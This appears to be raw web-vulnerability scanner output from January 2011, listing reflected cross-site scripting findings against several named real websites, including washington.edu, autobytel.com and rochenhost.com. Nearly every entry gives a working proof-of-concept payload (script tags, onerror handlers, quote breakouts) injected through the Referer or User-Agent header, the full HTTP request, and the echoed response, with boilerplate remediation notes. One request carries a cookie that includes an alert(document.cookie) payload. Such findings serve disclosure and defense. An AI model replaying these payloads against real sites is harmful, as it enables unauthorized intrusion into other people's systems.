GET /used-cars.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=27c0b"%3balert(1)//002cd38842
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 22e06"%3balert(1)//2a52afd2bf7 was submitted in the Referer HTTP header. This input was echoed as 22e06";alert(1)//2a52afd2bf7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /x22 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=22e06"%3balert(1)//2a52afd2bf7
The value of the Referer HTTP header is copied into an HTML comment. The payload f34b4--><img%20src%3da%20onerror%3dalert(1)>f067754e5c4 was submitted in the Referer HTTP header. This input was echoed as f34b4--><img src=a onerror=alert(1)>f067754e5c4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /x22 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=f34b4--><img%20src%3da%20onerror%3dalert(1)>f067754e5c4
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7fb84"-alert(1)-"ae36f3b6ef5 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /publication?i=53162 HTTP/1.1 Host: www.flashedition.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=7fb84"-alert(1)-"ae36f3b6ef5
Response (redirected)
HTTP/1.1 200 OK Server: nginx/0.7.63 Date: Tue, 25 Jan 2011 13:15:33 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.3.5 P3P: policyref="/w3c/p3p.xml",CP="CAO DSP COR CURa ADMa DEVa TAIa PSAo PSDo CONo TELo OUR DELo SAMo OTRo BUS IND PHY ONL UNI PUR COM NAV DEM STA" Set-Cookie: PHPSESSID=12dmn44gpbtk8m1bb761voe221; expires=Tue, 25-Jan-2011 17:15:33 GMT; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: u_id=12dmn44gpbtk8m1bb761voe221; expires=Wed, 25-Jan-2012 13:15:33 GMT Set-Cookie: ie_warn=1; expires=Wed, 25-Jan-2012 13:15:33 GMT Vary: Accept-Encoding Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Content-Length: 6906
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2cfa9'-alert(1)-'6265dee2a99 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /community/blog/ebay-use-joomla-open-source-glue HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=2cfa9'-alert(1)-'6265dee2a99
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 65f0d"><script>alert(1)</script>92646acf2c3 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /unix/utilities.html/x22 HTTP/1.1 Host: www.newsreaders.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=65f0d"><script>alert(1)</script>92646acf2c3
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:15:16 GMT Server: Apache Connection: close Content-Type: text/html Content-Length: 2768
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload bd27a<script>alert(1)</script>df1ac160f8e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /unix/utilities.html/x22 HTTP/1.1 Host: www.newsreaders.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=bd27a<script>alert(1)</script>df1ac160f8e
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:15:17 GMT Server: Apache Connection: close Content-Type: text/html Content-Length: 2764
The value of the User-Agent HTTP header is copied into an HTML comment. The payload c1fb5--><script>alert(1)</script>c5cfd3457d7 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET / HTTP/1.1 Host: www.rochenhost.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)c1fb5--><script>alert(1)</script>c5cfd3457d7 Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:09:13 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: e2d0a354c26b66b66bc6f05a696c10dc=2d929a81ff6dd6043acb9a8a066a94f8; path=/ Last-Modified: Tue, 25 Jan 2011 00:09:13 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 43543
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xht ...[SNIP]... <!-- your browser is :Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)c1fb5--><script>alert(1)</script>c5cfd3457d7 --> ...[SNIP]...
The value of the User-Agent HTTP header is copied into an HTML comment. The payload d56e4--><script>alert(1)</script>24eb3536c59 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /joomla-hosting HTTP/1.1 Host: www.rochenhost.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)d56e4--><script>alert(1)</script>24eb3536c59 Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:01:30 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: e2d0a354c26b66b66bc6f05a696c10dc=c61bb9f3b7102c8aba2e3fc31a0f88e8; path=/ Last-Modified: Mon, 24 Jan 2011 16:01:31 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 43179
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xht ...[SNIP]... <!-- your browser is :Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)d56e4--><script>alert(1)</script>24eb3536c59 --> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 55ace"><script>alert(1)</script>39ae012e14a was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /x22 HTTP/1.1 Host: www.traderpub.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=55ace"><script>alert(1)</script>39ae012e14a
Response
HTTP/1.1 404 Not found Server: Netscape-Enterprise/4.0 Date: Mon, 24 Jan 2011 15:15:24 GMT Content-type: text/html Content-length: 363 Connection: close
<TITLE>Not Found</TITLE><H1>Not Found</H1> The requested object does not exist on this server. The link you followed is either outdated, inaccurate, or the server has been instructed not to let you ha ...[SNIP]... <A HREF="http://www.google.com/search?hl=en&q=55ace"><script>alert(1)</script>39ae012e14a"> ...[SNIP]...
The value of the Referer HTTP header is copied into the name of an HTML tag attribute. The payload 9879d><script>alert(1)</script>aaede211a9 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: 9879d><script>alert(1)</script>aaede211a9
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:04 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1148 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img</b> was not found or is no longer on this server. <p>You reached this URL ...[SNIP]... <img, referer: 9879d><script>alert(1)</script>aaede211a9.</br> ...[SNIP]...
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 20e7e<script>alert(1)</script>086eb857f86 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=20e7e<script>alert(1)</script>086eb857f86
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:05 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1296 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img</b> was not found or is no longer on this server. <p>You reached this URL ...[SNIP]... </script>086eb857f86">http://www.google.com/search?hl=en&q=20e7e<script>alert(1)</script>086eb857f86</a> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 3f4c3><script>alert(1)</script>e8ade6fb151 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=3f4c3><script>alert(1)</script>e8ade6fb151
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:04 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1300 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img</b> was not found or is no longer on this server. <p>You reached this URL ...[SNIP]... <img, referer: http://www.google.com/search?hl=en&q=3f4c3><script>alert(1)</script>e8ade6fb151.</br> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33f90"><script>alert(1)</script>9d0ccdde51c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=33f90"><script>alert(1)</script>9d0ccdde51c
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:04 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1304 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img</b> was not found or is no longer on this server. <p>You reached this URL ...[SNIP]... <a href="http://www.google.com/search?hl=en&q=33f90"><script>alert(1)</script>9d0ccdde51c"> ...[SNIP]...
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload ead44<script>alert(1)</script>659da71b328 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)ead44<script>alert(1)</script>659da71b328 Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:59 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1069 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img</b> was not found or is no longer on this server. <p>Please check the URL ...[SNIP]... <br> Browser: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)ead44<script>alert(1)</script>659da71b328<br> ...[SNIP]...
The value of the Referer HTTP header is copied into the name of an HTML tag attribute. The payload d4e07><script>alert(1)</script>db7d3dc30c8 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(String.fromCharCode(88,83,83 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: d4e07><script>alert(1)</script>db7d3dc30c8
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:05 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1299 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83</b> was not found or is ...[SNIP]... <img src=a onerror=alert(String.fromCharCode(88,83,83, referer: d4e07><script>alert(1)</script>db7d3dc30c8.</br> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e304"><script>alert(1)</script>3bc164e7716 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(String.fromCharCode(88,83,83 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=1e304"><script>alert(1)</script>3bc164e7716
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:06 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1451 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83</b> was not found or is ...[SNIP]... <a href="http://www.google.com/search?hl=en&q=1e304"><script>alert(1)</script>3bc164e7716"> ...[SNIP]...
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 1772b<script>alert(1)</script>825d0cb184a was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(String.fromCharCode(88,83,83 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=1772b<script>alert(1)</script>825d0cb184a
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:06 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1443 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83</b> was not found or is ...[SNIP]... </script>825d0cb184a">http://www.google.com/search?hl=en&q=1772b<script>alert(1)</script>825d0cb184a</a> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 72eb0><script>alert(1)</script>f372d244a89 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(String.fromCharCode(88,83,83 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=72eb0><script>alert(1)</script>f372d244a89
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:06 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1447 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(String.fromCharCode(88,83,83</b> was not found or is ...[SNIP]... <img src=a onerror=alert(String.fromCharCode(88,83,83, referer: http://www.google.com/search?hl=en&q=72eb0><script>alert(1)</script>f372d244a89.</br> ...[SNIP]...
The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload a9cd4<script>alert(1)</script>cf2ce7c8cab was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /alpinef972a<img%20src=a%20onerror=alert(String.fromCharCode(88,83,83 HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)a9cd4<script>alert(1)</script>cf2ce7c8cab Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:11:04 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1216 Connection: close Content-Type: text/html
